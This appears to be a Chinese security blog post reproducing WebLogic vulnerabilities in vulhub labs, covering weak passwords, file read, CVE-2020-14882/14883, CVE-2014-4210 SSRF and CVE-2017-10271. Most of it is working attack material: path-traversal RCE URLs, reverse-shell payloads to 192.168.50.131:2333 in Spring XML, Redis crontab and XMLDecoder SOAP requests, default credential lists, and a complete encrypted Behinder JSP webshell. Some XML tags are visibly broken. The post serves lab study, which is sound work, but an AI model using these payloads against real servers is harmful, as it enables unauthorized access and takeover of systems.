Weblogic 常见漏洞分析与利用
0x00 前言
一直没有系统的总结过 weblogic 的漏洞，今天通过 vulhub 靶场来复现几个经典的案例。
0x01 基础知识
weblogic简介：
WebLogic 是美国 Oracle 公司出品的一个基于 JAVAEE 架构的中间件，是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的Java应用服务器。WebLogic 由纯 Java 开发，长期以来一直被认为是市场上最好的J2EE工具之一，被广泛应用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。
0x02 漏洞复现
1、Weblogic 弱口令/文件读取漏洞
此测试环境存在两个漏洞，后台存在弱口令，前台存在任意文件读取漏洞。本次测试分别通过这两种漏洞对本靶场进行渗透，最终获取 weblogic 的服务器权限。
漏洞原理：
在搭建好 weblogic 服务后没有修改后台的默认密码或密码设置太简单，导致可以弱口令登录，最终获得服务器权限。
环境搭建：
进入对应目录：
vulhub/weblogic/weak_password
启动本环境：
docker-compose up -d
文件比较大，第一次下载可能时间会比较长。
-
Weblogic版本：10.3.6
-
Java版本：1.6
复现过程：
启动环境后直接访问7001端口会出现404页面，这里要访问
http://ip:7001/console
打开 weblogic 后台页面
本环境存在弱口令：weblogic/Oracle@123
使用口令登录后台（注意此环境存在登录限制，错误密码5次之后就会自动锁定）。
weblogic 常用弱口令：
用户名：weblogic、system、admin、WebLogic
密码：weblogic、weblogic123、password、security、system、admin、WebLogic
选择左侧的部署，然后点击安装
然后就可以看到有个上传文件的选项，这里可以上传一个 jsp类型的小马的 war包来拿到shell。
首先将我们的 冰蝎马 shell.jsp 打包成 test.war 。
步骤：新建一个文件夹，里面只有 shell.jsp 文件，输入命令：
jar -cvf test.war .
test.war 就是打包后生成的文件名称。
后面的. 是把当前目录下所有文件打包。
上传我们制作的 war 包，一直点击下一步
直到出现完成按钮就部署结束了
点击保存，提示更改成功，接下来就可以连接我们的上马了。
连接成功，这里 test 是我们的 war 包名，shell.jsp是里面的小马。
，借着这个靶场再来说说另一种情况：假如没有弱口令，而是前台存在一个任意文件下载漏洞又该怎么利用呢？
本靶场前端存在任意文件读取漏洞，访问如下 url 可以读取任意文件
http://ip:7001/hello/file.jsp?path= #接文件路径
我们可以通过这个漏洞读取 weblogic 后台的用户密文和密钥文件，密文使用AES加密，AES是对称加密可解密从而获得后台密码。
Weblogic 后台的密文与密钥这两个文件分别为 config.xml 和 SerializedSystemIni.dat ，在本环境中路径分别为
./config/config.xml 和 ./security/SerializedSystemIni.dat 当前目录是：/root/Oracle/Middleware/user_projects/domains/base_domain
注：这里我看别的师傅说：因为 SerializedSystemIni.dat 是一个二进制文件，直接用浏览器下载可能引入一些干扰字符。这里需要使用 burpsuite 来读取，然后选中读取到的那一串编码，右键 copy to file 保存为 dat 文件。
但是我自己尝试后发现，通过上面方法保存的文件无法解密，burp版本尝试更换了也不行，反而直接读取到的文件更改后缀为 dat 后成功解密了（注意需要删掉前面的空行）。就很玄学。。
接着读取 config.xml，找到
然后使用工具解密： 工具下载链接
成功获得后台密码，假设这里知道用户名，就可以登录然后重复上述步骤getshell了。
2、Weblogic 未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883）
2020年 Oracle 官方发布了数百个组件的高危漏洞公告。其中组合利用 CVE-2020-14882/CVE-2020-14883 可使攻击者绕过 WebLogic 后台登录限制，远程执行代码获取 WebLogic 服务器权限，利用难度极低，风险极大。
漏洞原理：
CVE-2020-14882：允许未授权的用户绕过管理控制台的权限验证访问后台。
CVE-2020-14883：允许后台任意用户通过HTTP协议执行任意命令。
这两个漏洞的组合利用，可以让攻击者以未授权的身份登录后台，然后通过一个GET请求在 Weblogic 服务器上远程执行命令。
影响版本：
10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
环境搭建：
进入对应目录：
vulhub/weblogic/CVE-2020-14882
启动环境：
docker-compose up -d
复现过程：
访问 http://ip:7001/console 来到登陆页面
正常肯定是要账号口令的，这里利用 CVE-2020-14882 漏洞，访问以下URL，即可未授权访问到管理后台页面：
http://ip:7001/console/css/%252e%252e%252fconsole.portal
或
http://ip:7001/console/images/%252e%252e%252fconsole.portal
注：
%252e%252e%252f是经过两次url编码后的../，通过这个就可以实现穿越路径未授权访问后台页面。
点击部署，发现并没有安装按钮，这是因为通过未授权访问的后台权限不足，并没有部署功能，所以也就无法通过上面那种上传war包的方式getshell。
想要实现服务器RCE 这里要借助第二个漏洞 CVE-2020-14883 ，这个漏洞的利用方式有两种，分别通过两个特殊的类来实现。
方式一：
通过 com.tangosol.coherence.mvel2.sh.ShellSession 类实现，这个利用方法只能在 Weblogic 12.2.1 以上版本利用，因为 10.3.6（上面四个受影响版本中只有这一个低于12.2.1）版本没有这个类。
直接访问如下URL，即可执行命令：
http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/test');")
访问后出现404页面，进入docker看一下，发现成功执行了！
方式二：
通过 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类实现，这是一个通杀的方法，对 Weblogic 的所有版本均有效。此方法需要借助 XML 文件，通过访问这个文件来执行命令。
构造一个反弹shell XML 文件，shell.xml：
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bashvalue>
<value>-cvalue>
<value>& /dev/tcp/ip/2333 0>&1]]>value>
list>
constructor-arg>
bean>
beans>
Bash反弹一句话拆分说明：
| 命令 | 命令详解 |
|---|---|
| bash -i | 产生一个bash交互环境 |
| >& | 将联合符号前面的内容与后面相结合，然后一起重定向给后者。 |
| /dev/tcp/ip/2333 | 让目标主机与攻击机的2333端口建立一个tcp连接。 |
| 0>&1 | 将标准输入与标准输出的内容相结合，然后重定向给前面标准输出的内容。 |
完整的解读：Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接（即TCP 2333会话连接）相结合，然后在重定向个TCP 2333会话连接，最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出，即得到一个Bash反弹环境。
然后将其保存在 Weblogic 服务器可以访问到的服务器上（重点！），这里我放在 docker 的宿主机上了，然后开启 web 服务。
访问链接为：
http://192.168.50.131:80/shell.xm
开启 nc 监听，然后浏览器访问下面链接：
http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.50.131:80/shell.xml")
注：链接里的
http://必不可少。
即可得到反弹shell
3、Weblogic SSRF漏洞（CVE-2014-4210）
SSRF全称：Server-Side Request Forgery，即 服务器端请求伪造。是一个由攻击者构造请求，在目标服务端执行的一个安全漏洞。目标通常是从外网无法访问的内部系统。简单来说就是攻击者利用服务器漏洞以服务器的身份发送一条构造好的请求给其所在内网进行攻击。
漏洞原理：
Weblogic 的 uddi 组件实现包中有个 ddiexplorer.war文件，其下里 SearchPublicReqistries.jsp 接口存在 SSRF 漏洞，可以利用该漏洞可以发送任意 HTTP 请求，实现攻击内网中 Redis 等脆弱组件。
影响版本：
10.0.2、10.3.6
环境搭建：
进入对应目录：
vulhub/weblogic/ssrf
启动环境：
docker-compose up -d
可以看到同时也启动了一个 Redis 服务。
复现过程：
访问漏洞存在地址：
http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp
这里f12查看页面，可以看到引用了外部链接，那么就有可能存在ssrf漏洞。
点击 search 然后抓包发送到 Repeater 模块
修改 operator 参数用来探测开放IP或端口，这里来测试一下宿主机的7001端口
1、主机存活且端口开放，会返回状态码。
2、如果访问的是非 HTTP 协议则会返回 did not have a valid SOAP content-type: text/html，其主机端口也是开放的。
3、当访问一个不存在的主机或端口时，会返回 could not connect over HTTP to server。
我们可以通过响应结果，实现探测内网状态的功能。下面我们就来尝试利用 redis 实现反弹shell。
利用 Redis 反弹 shell：
这里因为我们是测试环境，已知内网存在 redis 服务且存在未授权漏洞。如果在真实渗透中可以通过对内网的爆破获取到有关信息。
先看一下 docker 容器里的 redis 的 IP 地址，执行如下命令：
docker inspect 容器ID
在一大串信息的最下面找到了其IP。
接着使用 SSRF 漏洞对 172.31.0.2:6739 探测一下
可以看到 redis 服务是存活着的。
下面通过 SSRF 漏洞向 Redis 写入三条命令（Redis 需要以 root 权限执行才能写入），将我们反弹 shell 的脚本写入/etc/crontab文件。crontab是一个可以自动执行定时命令的配置文件，通过它来执行我们反弹 shell 的命令。（详细解释可以看这篇文章：linux下cron命令用法）
set s "\n* * * * * root bash -i >& /dev/tcp/192.168.50.131/2333 0>&1\n"
config set dir /etc/
config set dbfilename crontab
save
上述命令解析：
| 命令 | 解释 |
|---|---|
| set s … | 设置一个变量值 “s” 为key， 执行一个反弹 shell 命令为其 value 值 |
| * * * * * | 即每分钟执行一次命令（上面链接有详细解释） |
| config set dir /etc/ | 指定工作目录为 /etc/ |
| config set dbfilename crontab | 指定 RDB 备份文件为 crontab；即所有的 RDB 文件都会储存在 /etc/crontab 下 |
还是有不懂的地方可以看看这几篇文章：
利用redis写webshell
Redis未授权访问反弹shell
浅析Linux下Redis的攻击面(一)
将上面的命令整理成一行，然后进行URL编码：
set%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.50.131%2F2333%200%3E%261%5Cn%22config%20set%20dir%20%2Fetc%2Fconfig%20set%20dbfilename%20crontabsave
然后需要用换行符即: \r\n 将其按上面的原始命令行格式分隔开。换行符也需要进行url编码即：%0D%0A
set%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.50.131%2F2333%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
再着还需在首末两个地方加上换行符号（原因见下面，不加是执行不了的！），再开头和结尾填充上 aaa ，最终就得到了这个：
aaa%0D%0A%0D%0Aset%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.50.131%2F2333%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
访问上述命令：
我们在开头和结尾加换行符的原因如下图所示：
nc 监听 2333 端口，反弹 shell 成功！
4、Weblogic XMLDecoder 反序列化漏洞（CVE-2017-10271）
WebLogic XMLDecoder反序列化漏洞利用Java的反序列化机制，攻击者可以发送恶意的序列化数据，使WebLogic Server反序列化执行恶意代码。
漏洞原理：
WLS-WSAT 是 WebLogic Server 事务管理（WebLogic Server Transaction）的一个组件，它使用Java的反序列化机制来处理数据，调用 XMLDecoder类 将用户传入的XML数据转换为Java对象。
在某些情况下攻击者可以构造恶意的序列化数据作为HTTP POST请求的一部分发送到WebLogic Server的T3协议端口（默认为7001），并且在请求头中设置一个特殊的“Content-Type”值来触发漏洞。当WebLogic Server处理该请求时，XMLDecoder将恶意的序列化数据反序列化为Java对象，并执行其中包含的恶意代码。
影响版本：
10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0
环境搭建：
进入对应目录：
vulhub/weblogic/CVE-2017-10271
启动环境：
docker-compose up -d
复现过程：
访问 /wls-wsat/CoordinatorPortType 目录，如果出现如下页面，就有可能存在漏洞。
对该页面进行抓包，修改请求方式为POST，添加请求字段 Content-Type:text/xml，然后后添加如下poc
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bashstring>
void>
<void index="1">
<string>-cstring>
void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.50.131/2333 0>&1string>
void>
array>
<void method="start"/>void>
java>
work:WorkContext>
soapenv:Header>
<soapenv:Body/>
soapenv:Envelope>
其中反弹命令
bash -i >& /dev/tcp/192.168.50.131/2333 0>&1
是经过 html 实体编码的，不然解析XML的时候将出现格式错误。
成功获取到 shell
还可以上传个webshell，这里使用的冰蝎的一句话，poc如下：
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
<void method="println"><string>
<![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问链接为：http:/192.168.50.131:7001/bea_wls_internal/shell.jsp
成功连接！
，本次的 Weblogic 漏洞暂时就复现这几个，下面推荐几个好用的漏洞检测和利用工具。
0x03 工具利用
WebLogic-Scan：是一款用于扫描和检测 WebLogic 漏洞的开源工具。该工具可以扫描 WebLogic 服务器上的常见漏洞，发现漏洞后攻击者需要使用其他工具或手动方法来利用漏洞，执行攻击。下载链接
有两种使用方式：
- 指定IP地址和端口
python WeblogicScan.py -u 192.168.50.131 -p 7001
图中的 + 代表存在漏洞，- 表示没有。
- 批量读取 txt 文件进行扫描：
python WeblogicScan.py -f target.txt
当不指定ip时会默认扫描 7001 端口。
检测出漏洞后，可以配合下面这个工具进行进一步的利用。工具下载
一键上传小马
成功连接
